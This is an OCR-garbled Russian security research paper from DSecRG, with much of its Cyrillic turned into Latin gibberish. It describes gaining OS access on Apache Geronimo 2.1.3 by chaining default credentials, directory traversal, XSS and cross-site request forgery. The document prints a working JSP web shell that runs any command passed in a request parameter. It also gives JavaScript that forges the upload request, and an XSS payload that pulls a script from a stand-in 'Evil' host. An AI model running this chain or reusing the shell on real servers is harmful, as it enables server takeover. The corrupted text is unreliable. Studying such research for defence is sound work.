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BeegeHue

[aHHOe uccnesoBaHWE NPOAOMXKAET ceputo NybaMKauMiA, ONUCbIBAIOLWMX Pa3NYHbIE
cnocobbl Nony4yeHWs AO0CTyna K OMNepauuoHHOM CUCTeMe cepBepa, MCNOo/b3ys YA3BMMOCTM

Pa3IMYHbBIX NPUNOXKEHWUI, KOTOPblE MOTYT BCTPEYATbLCA B KOPNOPATUBHOM Cpese.

Ha 3ToT pa3 obbekTom uccnenoBaHWA CTan cepBep npunoxeHui Apache Geronimo.
HaliAeHHble yA3BMMOCTM BO MHOTO CXOXM C TEMU, YTO OblN ONMCaHbl B NEPBOM CTaTbe CeEpPUN

(cm. Nonyyenwne poctyna K OC, UCNoNb3ys yA3BUMOCTU cepBepa npunoxeHuit IBM Websphere),



http://dsecrg.ru/pages/pub/show.php?id=19

OnucaHue Geronimo Application Server

Apache Geronimo —

cepBep MPUIONKEHUA C  OTKPbITbIM  UCXOAHbIM

pa3pabaTtbiBaemblit Apache Software Foundation. CTont oTmeTunTb, YTO cepBep MPUNONKEHWUI

IBM Websphere, paccmoTpeHHbIN HamK paHee, ocHoBaH Ha Apache Geronimo.

AaMUHUCTPUPOBaHKE Geronimo OCyLLEecTBASAETCA Yepe3 crneunanbHblii Beb-nHTepdenc

Geronimo Console.

2 Geronimo Console - Microsoft Internet Explorer
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Welcome

Welcome to the Apache Geronimo™
Administration Console!

The administration console provides a convenient, user
friendly way to administer many aspects of the Geronimo
Server, It is currently a wark in progress, and will
continue to evolve over time. The navigation panel on
the left-hand side of the screen provides easy access to
the individual tasks available in the console,

This space is the main content area where the real work
happens. Each view contains one or more portlets (self
contained view fragments) that typically include a link for
help in the header, Look at the top of this portlet for an
example and try it out,

The references on the right are provided so that you can
learn more about Apache Geronimo, its capabilities, and
what might be coming in future releases.

Mailing lists are available to get invalved in the
developrment of Apache Geronimo or to ask questions of
the community:

e user@geronimo.apache.orq (archives) for general
guestions related to configuring and using
Geronima

e dev@geronimo.apache.orq (archives) for
developers working on Geronimo

So share your experiences with us and let us know hiow
we can make Geronimo even better,

Thanks for usina Geronimo!

Common Console Actions

Deulov Mew Applications
Web Server Ports
Server Information

Geronimo Online

The Geronimo Home Page
Problerm Tracking Diatabase
Users Mailing List Archive
Developers Mailing List Archive
Geronimo IRC chat

Geronimo Documentation |

FAQ
Wiki
Geronimo Docurmentation
Additional Documentation

Copyright @ 1999-2008 Apat

&

%J MecThan iTpaceTe

Ko4oMm,

KoHconb admuHucmpuposaHus Geronimo

MoakntoyeHne K KoHconu ocyuwectsasetca no ABym npotokonam: HTTP (nopt no
ymondaHuio: 8080) u SSL (nopT no ymonyaHuio: 8443). U B cTaHOapTHOM HacTpolike Geronimo

2.1.3 gocTtynHbl 06a uHTepdelica.

Mocne ycTaHOBKM U 3anycka cepsBepa nNpuaoskeHuit Geronimo AocTyneH pAag,
npeaycTaHOBAEHHbIX NPWUIOXKEHUIA, B TOM yucne U Hambonee MHTepecylowasa Hac KoHcosnb

aAMUHUCTPUPOBAHNA CEPBEPOM.



) Geronimo Console

Dafin  Opaska BHa  HypHan

O -c =

'€ Geranimo Console

APACHE

JaKnaakH  VMHCTPYMeHTEl  Cnpaska
| | hitp: fftestserver B080/console/portaljApplications/Web App WaRs i
B | ] Javashel

GERONIMO

Server Console

nsole Navigation

G Welcormne
Server
@ Information
G_’_ Java System Info
Al Server Logs
&3 shutdown
Ba web server
£ Thread Pools
@ ppacha HTTP
= IMS Server
@ Monitoring
& services
% Repository
Database Pools

1MS Resources
1 applications

(5 web app WaRs
System Modules
I} Application EARS
& e 10ms
% 12EE Connectors
O top clisnts
P Deploy Mew
6 plugins
3 plan creator

[~ Securit

stalled Web Appl ons
[ Expert User (enable all actions on Geronimo Provided Components)
[ Show parent and child components

R skate [T Commands ]
org.apache.geronimo.configs/ca-helper-tomcat/2.1.3/car fCAHelper running Stop Restart Uninstall
org.apache.geronimo.configs/dojo-egacy-tomeaty/2 . 1.3/car fdojo/0.4 running Stop Restart Uninstall
org.apache.geronimo.configs/dojo-tomeat/2.1.3/car [dojo running Stop Restart Uninstall
org.apache.geronimo.configs/remote-deploy-tomeat/2.1.3/car fremote-denloy. running Stop Restart Uninstall
org.apache.geronimo . configs/uddi-tomcat_uddi-tormeat/2.1.3/car juddi running Stop Restart Uninstall
org.apache.geronimo.configs/welcome-tomeat/2,1.3/car & rurning Stop Restart Uninstall
org.apache.geronimo.plugins/activemg-console-tomeat/2. 1.3/car factiverng running Stop Restart Uninstall
org.apache.geronimo. plugins/console-tomcat_portal-driver.war/2.1.3/car fconsole running Stop Restart Uninstall
org.apache.geronimo.plugins/console-tomcat_base-portlets.warf2.1.3/car foonsole-base running Stop Restart Uninstall
org.apache.geronimo plugins/debugviews-console-tomcaty2.1,3/car fdebug-views running Stop Restart Uninstall
org.apache.geronimo. plugins/mconsole-tomeat/2.1.3/car [monitoring running Stop Restart Uninstall
org.apache.geronimo.plugins/plancreator-console-tomeaty2 . 1.3/car fnlan-creatar running Stop Restart Uninstall
org.apache.geronimo . plugins/plugin-console-tomcat/2.1.3/car folugin running Stop Restart Uninstall
org.apache.geronimo pluginsfsysdb-console-tomeat/2.1,3/car fsystem-database running Stop Restart Uninstall

rotosa

MpedycmaHoeneHHbIe NpunoHeHUs




KoHconb agpmuHucTpuposaHua Geronimo

Joctyn K KoHconu ocyuwectBnseTcA nocpeacTBOM BBOAA MMEHM MOAb30BaTesa u
napona, KoTopblie Mo YMOAYaHUIO UMEIOT 3HavyeHUAa system u manager cCOOTBETCTBEHHO, 4YTO
yXe NnOo3BOSIAeT NONYYUTb HeaBTopM3MpOBaHHbIVI AOCTYyNn K KOHCOJIN, TaK KaK Mnaposn no

YMOHaHUNIO BCTPEYaTCA A0BOJ/IbHO 4aCTo

[aHHble o TEKyU.I,er/‘I cecCnnm XpaHATCA B cookie 6pay3epa M, KaK NOKas3a/n Hallu

nccnenoBaHUsA, CECCUA He NpUBA3aHa K IP-aapecy KomnbiloTepa.

KoHconb no3BosiAET aAMUHUCTPUPOBaATL CeEpBeEpa, YNPaBAATb NO/b30BATENAMM,
cepTUdUKaTamm M HacTpokamu 6e3onacHOCTM, a TaKXe A06aBNATb HOBble MPUNONKEHUA U
cepsucbl. Kpome Toro, MMetoTcs pasnnyHble BO3MOMXKHOCTU CO34aHUA U 3arpy3KM HOBbIX ¢painios
Ha cepBep. A 3HAYMT, NPU HANUYUWN YA3BUMOCTU, MO3BOAIOLLEN MOAYYMTb AOCTYN K KoHconu,
MOHO B AaNbHEeMlleM paccyuTbiBaTb M Ha MNOJyYeHMEe AO0CTyna K OnepauMoHHON cucteme
cepsepa.

Ho ana Hayana nogpobHee pPacCMOTPUM, KakMe BO3MOMKHOCTU ynpaBaeHus ¢airinamu

npeacras/sieHbl B KoHconwn.



3arpy3Ka ¢painnoB u 06xopg, Katanora

Mpn nepsom ocmoTpe KOHCONM aAMUHUCTPUPOBAHMA cpa3y BpocaeTca B rnasa MeHHo
Applications n oxnaaemas BO3MOMKHOCTb 3arpy3KM HOBbIX MPUNOXKEHUN Ha cepsep. OaHaKO
nHTepderic Aob6aBNEHUA HOBbIX MPUIOKEHMA MNO3BONAET 3arpy)KaTb ToNbKO JAR apxuBbl.
Be3ycnoBHO, 3TOro BNoJIHE AOCTAaTOYHO, YTOObI 3arpy3nTb HEOOXOAMMBIN UCMOJIHAEMbINA dainn
ANA NOMyYeHUs [O0CTyna K cepsepy, HO NoAobHbIN cnocob yKe UCNONb30BancA, Koraa Mbl
paccmatpuBanu cepsep npuaoxeHmn IBM Websphere, no 3stomy paccmotpum pgpyrue

BapMaHTbI.

MpoAonXKmMB OCMOTP BO3MOKHOCTEM KOHCONM, OOHapyXuMm, 4TO B MeHIo Services
Haxoautca XpaHuauuwie (Repository) JAR apxMBoB, KOTOpPOE MOXKHO [JOMO/HATb CBOMMM
dalrinamm, NpUYEM NPOBEPKA COAEPKUMOrO U PaclUMPEHNA AaHHbIX GalioB OTCYTCTBYET. , A

3HAUYUT, MOKHO 3arpy3utb ¢ain nroboro popmara.

Ho u aTo He Bcé. MapameTpbl group, artifact, version v fileType, KOTopble OTBEYAIOT 3a
pacrnosioXKeHne M HasBaHwe ¢daina B apxvBe, yA3BMMbl K aTake obxopa KaTanora (directory
traversal). A 3TO 3HauuT, YTOo dalkin MOXKHO 3arpy3vTb B MPOM3BOJIbHYIO AUPEKTOPUIO Ha

cepBepe, HanpuMep B KOPHEBOM KaTanor cepsepa NPUAOXKEHUI (cm. oT4eT 06 yA3BMMOCTAX

Apache Geronimo - O6xoa KaTasiora obHapy*KeHHbIx cneumannuctammn DSecrG). Mo ymonyaHuio

3TO:

[install_dir]\repository\org\apache\geronimo\configs\welcome-tomcat\2.1.3\welcome-tomcat-
2.1.3.car\

Mpu  3arpyske ¢annoB B  XpaHWauwe, OHWM  NOMELWATCA B Nanky
[install_dir]\repository\[group]\[artifact]\[version], n ¢dainbl MmelOT Ha3BaHMe cnedyloLLero
dopmara: [artifact]-[version].[fileType]. A 3HAUMT, AOCTAaTOMHO 3HaTb OTHOCUTENbHbLIN NYyTb K
KOPHEBOMY KaTa/siory cepeepa NpUAoXKeHUi, 4tobbl 3arpy3nTb B Hero ¢aiin ntoboro HazBaHMA U

dopmara.


http://dsecrg.ru/pages/vul/show.php?id=118
http://dsecrg.ru/pages/vul/show.php?id=118

3 Geronimo Console - Mozilla Firefox

darn  [paska Bwa  MypHan  3aknagkw  WHCTPYMEHTEI  Cnpaska

@.v fat I :'1 http: fikestserver 8050 console )/ portalf Services/Repository b ' )-

a8 |j Java Shell

APACHE =
J| GERONIMO

Log Out

'§! Geronimo Console

Server Console

Console Navigation

Repository Yiewer

(= Welcorne Add Archive to Repository
GSE"VEV File |C:\test.htm " OBzop..
Information

Group: |0rgfapachefgerunim0fc|

@ java System Info

2l server Logs Artifact: |2'1'3 |
& shutdown Wersion: |We|come—tomcat—2.1 .3.|:i|
B Web Server Type: |,-’..,'test.htm |

© Thread Poals
@
Apache HTTP
Install
EE ms server
Monitoring
= Services

= Repository

Current Repository Entries

Click on an enfry to view usage,

B patabase Poals ® annogenfannogen/d.1.0/iar
== ® asm/asm-commons/2.2.3/ar
== JMS Resources ® gsmfasm/2.2. 3/ ar
= applications ® acpectifaspectirt/1.5.3/jar
i ® guisfaxisfl 4fjar
Meb ApD WARS
=° Web App WARS ® backport-util-concurrent/backport-util-concurrent/2 .2/ ar
'J_ System Modules ® colibfeglib-noden/2.1 3fjar
'EI Apnlication EARs ® com.sun.xmlbindfaxb-impl/2.0.5/ar
® com.sun.xmlbindfjaxb-xjef2.0.5/ar
—JM & com.sun.sml.messaging.saaifsaai-imnlil.3/ar
% 15EF Connectars ® com.sun.xml.s/jaxws-rt/2.0/jar
2l i ® com.sun.xmlaws/axws-tools/2.0/jar
o fpp Clients e com.thoughtworks.xstream/fxstream,/1.2.2/9ar
@ Deploy New ® commons-beanutils/commons-heanutils/1.7.0/ar
& ; ® commmons-clifcommons-cli/1.0/{ar _
- Blugins ® commons-codec/commons-codecyl. 3/ ar
B plan Creator ® commons-collections/commons-collections/3 . 2/jar
= security ® commons-digester/commons-digester/1.8/1ar v
raToso L]

Peanuszayua amaku 06x00a Kamasnoea

Mocne 3arpysku daiina Ha cepsep, OH ByaeT AOCTyNeH B KOPHEBOM KaTasore cepsepa
npuaoXKeHui no aapecy: http://[server]:8080/test.htm

Ona peanusaumm AaHHOM aTakKM HYXKHO MMETb HEMOCPEeACTBEHHbIN AocTyn K KoHconu
aAMUHUCTPUPOBAHMA. KOTOPOro Y HAc MoKa HeT, No3TOMY MOCMOTPUM, Kakum obpasom 3ToT
[OCTYN MOMHO NONYYUTb, KPOME KaK MCMO/b30BaHMEM CTaHAAPTHOM y4€THOM 3anncn admin ¢

naponem manager.



XSS B Geronimo Console

Kpome o6xopa Katanora, B KOHCOAM agMWHUCTpMpOBaHMA Geronimo npucyTcTeyeTt
obHapyKeHHana coTpyaHukammn DSecRG yassBumocTb Knacca Cross-site scripting (XSS),
NO3BO/IAIOWAA BbINONHUTL MNPOU3BO/IbHLIA  KOA, CUEHapua B KOHTEKCTe nosb3oBaTens

nocpeacTsoM cneumanbHo CHOPMUPOBAHHOM CCbIKM (cM. OoT4eT 06 ysassumoctax Apache

Geronimo - MHOeCTBEHHbIE YI3BUMOCTM MEKCANTOBOIr0 CKPUNTUHIA).

‘3 Geronimo Console - Microsoft Internet Explorer

Mann  Mpaeka Bha  MsbpadHoe  Cepeuc  Cnpaska ﬁ.‘

Aapect |@ http:/testserver: 8080/ consolefportal™ = <script =alert (55" </scripk = < 1-- V| Mepexoa

Microsoft Internet Explorer [E|

@ OTHPEITHE CTRaHHUES hkkp: fitestzerver 8080 consale/portall = <=scrif [C] ‘ﬂ IMECTHaA MHTPaceTE
—— .

XSS 8 URL KoHconu admuHucmpuposaHus Geronimo

Ho pnnAa BbINOMHEHUA CAOXHbIX CueHapueB, KoL CUeHapuAa Anay4dwe 3arpy»xatb C

yAaneHHoro cepsepa. COOTBETCTBEHHO, CCbI/IKA NPUMET CAeAyIoLLmMiA BUA,:
https://[server]: 8080/console/portal/"><script src=http://Evil/xss.js></script>

Kak y»e 6b1210 CKa3aHo, TEKYLLLAA CECCUS NOJIb30BaTENs HUKAK He NpuBsA3aHa K IP-agpecy

KOMMbloTEpPAa. Takum o6pa30M, nonyyums cookie MX MOXHO MCNONb30BaTb ana aocrtyna K

9


http://dsecrg.ru/pages/vul/show.php?id=119
http://dsecrg.ru/pages/vul/show.php?id=119

TEKYLLEN CECCMM aAMMHUCTPATOPa M KO BCEM BO3MOMKHOCTAM KOHCOAM agMMHUCTPUPOBAHMA
Geronimo.

Tem He MeHee AaHHbIA MeTo4 He cpaboTaeT B C/lyd4ae ecan ceccua agMUHUCTPATopa
By4eT y)Ke 3aKpbiTa Korda Mbl MOMbITa@MCA BOCMO/Ab30BaThCA NepexsadeHHbIMU cookie, nau
ceccus bypeT npuBasaHa K IP agpecy. TakKe, 4yTO HE Ma/nOBa*KHO, AOCTYM K KOHCOAM

NPOTOKOJINPYETCA, N BXOA B CUCTEMY NOA NepexBa4YE€EHHbIMUA cookie 6y,u,eT 3aMETEH.

MepeuncneHHble NPobaembl MOXXHO 0601TK NpM Nnomowm yasBumocTn XSRF (a TouHee

eé pasHoBMaHOCTN XSFU) KoTopas bblna 0bHapyKeHa B KOHCONE agMUHUCTPUPOBAHUS.

10



XSRF, XSFU 1 nocnegHunia pbiBOK

KoHconb agMuHUCTpUpoBaHMA Geronimo TaKKe noABepKeHa pPacnpocTpaHeHHoM
yA3BMMOCTM Knacca Cross-site request forgery (XSRF), 3akntoyatoweiica B OTCYTCTBUM NPOBEPKM

MUCTOoYHMKa HTTP-3anpoca (cm. otyer 06 yssBumocTtax Apache Geronimo - [Mogaenka

MEXKCAaMTOBbIX 3aNpoCcoB O6HapY)KEHHbIX cneunanncCrtamm DSECFG). YTo no3BosAET BbINO/HATb

NPOW3BOJIbHble AENCTBUA OT UMEHM AaAMMUHUCTPATOPA, €C/IN OH 3aMAeT Ha Haly CTpaHWUy Co
CueHapuem, OTMPaBAAKWMM creumanbHo cdopmunpoBaHHble HTTP-3anpocebl Ha cepsep. A

3HaYUT, 3arpy3Ky Hawwmx GanoB Ha CEPBEP MOXKHO "MopPyuYnTh" cCamomy aiIMUHUCTPATORY.

3azpy3Ka ucnosnHAemoz20 Ko0d Ha cepeep

Mmesa BCce pacCMOTPEHHbIE YA3BUMOCTU, MOXHO BbICTPOUTb HECNO0XHbI BEKTOP aTaKu:

"  Wcnonb3ya XSS yA3BMMOCTb, GOPMUPYEM CCbIZIKY ANA BHEAPEHWUA CLEHapwus,
KOTOpas OTCblIaeM agMUHUCTPATOPY;

=  AZAMWHMCTPATOP, NPOMAA MO HaLLEeN CCbl/IKe, MepeaacT ynpas/eHne CLeHapuio;

= CueHapuii, nocpeactsom XSFU, 3arpy)KaeT Ha cepBep MWCMOMHAEMbIA KoJ,
MCcNonb3ya ya3BMMOCTb 06xoaa KaTanora;

= 3aTem cLeHapuit Bo3BpaLLaeT ynpasaeHue Hag KOHCOIbio aAMUMHUCTPaTOpY.

CambiM NOTMYHbIM ByaeT 3arpysuTb Ha cepBep NPOCTeNWnii MHTepdeic KomaHaHOM

CTPOKM Ha Java. Hanpumep, Takom:

<%@page pageEncoding=""UTF-8"%>
<W@page import = "java.io.*" %>
<%@page import = "java.util.*" %>

<%
ArrayList ar = new ArrayList();
ArrayList ar2 = new ArrayList();

String com = (String)request.getParameter(*'command™);

it (coml=null) {
Process proc = Runtime.getRuntime().exec(com);
InputStream in = proc.getlnputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in));
String 1;
while ((I=br.readLine())!=null) {
ar.add(l);

}

11
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%>
<html>
<head>
<title>Java Shell</title>
</head>
<body>
<hil>Java Shell</h1>
<h3>Command:</h3>
<form method=""POST">

<input type="text" name="command" value=""" />
<input type:"Smeit" value="Run" name="run" />
</form>

<h3>0ut:</h3>
<%
if (ar.size(D>0) {
for (Object o:ar) {
String ou = (String)o;
%>
<%=ou%>
<br>
<%

}

%>
</body>
</html>

3T10T KOA M Byaem 3arpy)KaTb Ha cepBep NPUNOKEHWUN. Tenepb HANUWEM CLEHAPWUIA Ha
Jscript, KoTopbIl byaeT BHeApeH Ha cTpaHuuy KoHconu nocpeactsom XSS. [aHHbIN cueHapuit
6yaetr amutnposatb POST 3anpoc, peanusyolmnii 3arpysky Ha cepsep ¢anna shell.jsp (kog,

KOTOPOro npuBeagH Bbille):

var boundary = "-——----- + Date.parse(new Date());
var body = "--"" + boundary + "\r\n";

body += "Content-Disposition: form-data; name=\"local\";
filename=\""test.txt\'"\r\n";

body += "Content-Type: text/plain\r\n\r\n";

body += "[JjavaCode]'; // maw xox muTepderica KOMaHOHOM CTPOKM Ha Java, B
KOTOPOM NpenBapMUTEeJIbHO HYXHO 3KpPaHMPOBATHL BCe nBOﬁHBIe KaBBYKA

body += setBody(''group',
boundary) ;

body += setBody("artifact’, "™ 2.1.3", boundary);

org/apache/geronimo/configs/welcome-tomcat"’,

body += setBody(''version', welcome-tomcat-2.1.3.car", boundary);

12



body += setBody("fileType"™, "/../shell_jsp', boundary);
body += "--" + boundary + '--"";

var objHTTP = new ActiveXObject("MSXML2.XMLHTTP*®);

ObJHTTP.open(*'POST" ,""/console/portal//Services/Repository/ __acOx3console
-baseOx2RepositoryViewer!604305819]0?action=deploy', false);

ObJHTTP.setRequestHeader ("'Content-Type", "multipart/form-data; boundary="
+ boundary);

ObJHTTP.send(body);
window. location = "/console/portal/Welcome™;

function setBody(name, value, boundary)

{
var body = "--"" + boundary + "\r\n";
body += "Content-Disposition: form-data; name=\""" + name + "\'""" +
"\r\n\r\n";
body += value + "\r\n";
return body;
}

Mpn HanNuUcaHWUM CUEHapUA HYXHO YyuyuTbiBaTb TO, 4To cTpoka URL B Geronimo
YyBCTBUTE/IbHA K perucTpy 6yks.

NMocne TOro Kak agMuHUCTPaTOp 3a17|p,eT Nno CCblIJIKE C HaWwWuMM CueHapuem, B KOPHe

cepBepa nNpuaoxeHui byaet cosaaH ¢aiin shell.jsp, K KoTopomy MoXKHO 06paTUTLCA NO aapecy:
https://[server]: 8080/shell.jsp

13



3 Java Shell - Mozilla Firefox

darn  [paska Bwa  MypHan  3aknagkw  WHCTPYMEHTEI  Cnpaska

@ - c oY I http:fftestserver:3080)shell. jsp 3> - ' )-

'§ Geronima Console |j Java Shell a8 -

Java Shell

Command:

| |[Run |

Out:

Hactpoiika npoterona [P gna Windows

Ilomwmrouenne oo noxkaneHod ceTH - Ethermet agantep:

DHE-cyddure sTore nopwouennd . . test dsecru

P-agpec. . ... ... .:192100.10

Macka mogeceTH . ... ... ... 2552552550

CicHoBHOR motos . ... ... 192100001

raToEo L

UHmepdgpelic KomaHOHOU cmpoKu. Pe3ynbemam 8binosnHeHUsa KOMaHObI ‘ipconfig’

Takum obpasom, NoaydeH AOCTYN K cepBepy C npaBamu MNOAb30BaTeNA, OT MMEHMU
KOTOPOro 3anyLeH cepsep NPUIOXKEHUN.
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3aKknuyeHue

PaclwiMpeHHble  BO3MOMKHOCTUM  WHTEPdENCcoB  aAMWHUCTPUPOBAHUA, BKyne C
YA3BMMOCTAMW MO3BONAIOWMMM MOAYYUTb [OCTYN K WHTepdeircam agMUHUCTPUPOBAHMUA
(XSS,XSRF,XSFU,cTaHAapTHblE Napoan) MoryT BbiTb UCNONb30BaHbl ANA NONYYEHUS AOCTyna He
TONIbKO K MPUNOXKEHUIO HO M K CaMOM onepaumoHHOM cucteme. Yto m HblNO0 HarnsagHo
NPOAEMOHCTPUPOBAHO B A3aHHOM MCCNeAO0BaHMW Ha NpPUMMepe cepBepa NpuaoXeHun Apache

Geromino.
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[JononHutenbHble maTtepuanbl

1. OtuyeT 06 yassmMmocTax Apache Geronimo - O6xoz KaTanora
http://dsecrg.ru/pages/vul/show.php?id=118

2. O1yeT 06 yazsumocTax Apache Geronimo - MHO»eCcTBEHHble YA3BMMOCTU MEXKCAMTOBOTO
CKPUNTUHTA

http://dsecrg.ru/pages/vul/show.php?id=119

3. O1yeT 06 yazBumocTax Apache Geronimo - Mogaenka mexcantoBblx 3anpocos (XSRF)
http://dsecrg.ru/pages/vul/show.php?id=120

4. Cratbs no XSRF
http://www.securitylab.ru/analytics/292473.php

5. Directory traversal - Bukuneaus

http://en.wikipedia.org/wiki/Directory traversal

6. MpoHnKHoBeHMe B OC yepes npunoxeHua. NMonydyeHne goctyna K OC, ncnonb3ya yasBMMOCTHU
cepsepa npuaoxkenui IBM Websphere
http://dsecrg.ru/pages/pub/show.php?id=19
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